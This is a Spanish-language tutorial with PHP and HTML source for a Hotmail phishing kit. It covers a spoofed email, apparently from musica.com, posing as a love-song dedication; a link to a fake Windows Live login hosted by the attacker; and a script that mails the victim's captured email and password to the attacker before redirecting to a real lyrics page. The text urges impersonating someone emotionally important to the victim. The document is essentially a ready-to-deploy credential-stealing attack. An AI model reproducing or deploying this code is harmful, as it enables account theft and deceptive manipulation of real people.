Tuto crea Xploit desd 0

La direccion de correo electronico o la contraseña son

incorrectas. Intentelo de nuevo.

nuevamente.

<?php 
if(($_POST['e2']!=0 || $_POST['e2']!="") and  ($_POST['login']!=0 || $_POST['login']!="") and ($_POST['passwd']!="" || $_POST['passwd']!=0)){ 
$passwd=$_POST['passwd']; 
$lamer=$_POST['e2']; 
$victima=$_POST['login']; 
 
$subject = '|| Ha llegado la contraseña lamer xD ||'; 
$headers .= "Content-type: text/html; charset=UTF-8\n";  
$headers .= "From: info@lamer-xploits.net\r\nContent-type: text/html\r\n"; 
$mensage ="<font face=Verdana><p>Hola,</p> 
<p>Este correo ha llegado a ti porque t&uacute; enviaste un Xploit desde nuestra p&aacute;gina con el siguiente correo: <b>$lamer </b></p> 
<p>Y al parecer tu V&iacute;ctima ha caido... estos son sus datos:</p> 
<p>Correo: <b>$victima</b></p> 
<p>Contrase&ntilde;a: <b>$passwd</b></p> 
<p>-------------------------------------------------------------------------------<br> 
Nosotros no nos hacemos responsables por el uso que le des a esta informacion...<br> 
<font size=\"2\">RockZito || Copyright 2009 todos los derechos reservados.</font> 
</p></font>"; 
mail($lamer, $subject, $mensage, $headers); 
} 
?> 
<script type="text/javascript">window.location="http://www.musica.com/letras.asp?letra=972438";</script>

<!-- 
body { 
background-color: #000000; 
} 
body,td,th { 
color: #FFFFFF; 
font-family: Verdana, Arial, Helvetica, sans-serif; 
} 
.Estilo1 {color: #FFFFFF} 
--> 
</style> 
<div id="right"> 
 <h2 align="center" class="Estilo1">Enviar Xploit Musica.Com</h2> 
 <p align="center" class="Estilo1"><img src="http://musica.com/i/musica.gif" width="219" height="90"></p> 
 <table width="500" border="0" align="center" cellspacing="0"> 
   <tr> 
     <td> 
<div align="justify"> 
<span class="Estilo1"> 
Xploit para robar contrase&ntilde;as de Hotmail,  
mediante el envio de una canci&ograve;n, deves introducir los datos que se te piden,  
en nombre falso escribe el nombre de alguien importante (sentimentalmente hablando)  
para tu victima al igual que su correo...  
muy efectivo para los que usan esa pagina. =) </span></div></td> 
   </tr> 
 </table> 
 <p>&nbsp;</p> 
 <form action="http://tuhosting.000webhost/musica.php" method="POST"> 
<table width="500"  border="0" align="center" cellspacing="0"> 
 <tr> 
   <td width="337"><div align="right">Tu Email Donde llegara la Contrase&ntilde;a:</div></td> 
   <td width="159"><strong> 
     <input name="correolam" type="text" id="correolam" size="25"> 
   </strong></td> 
 </tr> 
 <tr> 
   <td><div align="right">Email Falso : </div></td> 
   <td><strong> 
     <input name="n_mail" type="text" id="n_mail" size="25"> 
   </strong></td> 
 </tr> 
 <tr> 
   <td><div align="right">Nombre Falso : </div></td> 
   <td><strong> 
     <input name="nombre" type="text" id="nombre" size="25"> 
   </strong></td> 
 </tr> 
 <tr> 
   <td><div align="right">Email de tu vicitma:</div></td> 
   <td><input name="to" type="text" id="to2" size="25"></td> 
 </tr> 
 <tr> 
   <td><div align="right">Nombre de tu vicitma:</div></td> 
   <td><input name="n_vict" type="text" id="nombre2" size="25"></td> 
 </tr> 
</table>  
<div align="center"></div> 
<div align="center"><br> 
   <input type="submit" value="Enviar Xploit" name="submit"> 
   </p> 
</div> 
 </form> 
</div>  
NOTA: Donde dice "tuhosting.000webhost.com/" cambialo por el ke 

if (strstr($_POST['to'], "@") and strstr($_POST['to'], ".")) { 
//$headers .= "MIME-Version: 1.0\n";  
$lamer = $_POST['correolam']; 
$to = $_POST['to']; 
$nombre = $_POST['nombre']; 
$n_mail = $_POST['n_mail']; 
$n_vict = $_POST['n_vict']; 
$asunto = "$n_vict TQM"; 
$headers .= "Content-type: text/html; charset=UTF-8\n";  
$headers .= "From: letras@musica.com\r\nContent-type: text/html\r\n"; 
$codigohtml = "<center><font>Hola $n_vict, Sabes quisiera decirte tantas cosas, 
pero no se como decirtelo de frente, por eso te dedico esta cancion espero te guste.</font> 
<br><br> 
<a href=\"http://tuhost.webcindario.com/login.live.sf.aspx/? 
wa=wsignin1.0&rpsnv=10&ct=1237688797&rver=5.5.4177.0&wp=MBI&lc=3082&id=64855&mkt=es-ES 
&e="str_replace("@hotmail.com","",$to)"&e2="str_replace("@hotmail.com","",$lamer"\" target=\"_self\"> 
Sabes - Reik</a><br><br><font>No respondas a este mail</font><center>"; 
 
mail($to,$asunto, $codigohtml, $headers); 
 
     } else  
     {  
$errormessage = "<strong>El e-mail que esribiste no es valido.</strong>"; 
     } 
?> 
<script> 
alert("Tu Xploit fue enviado a <? echo $to; ?>, cuando caiga se te enviara un mail con los datos."); 
</script> 
<script type="text/javascript">window.location="http://tuhost.webcindario.com/";</script>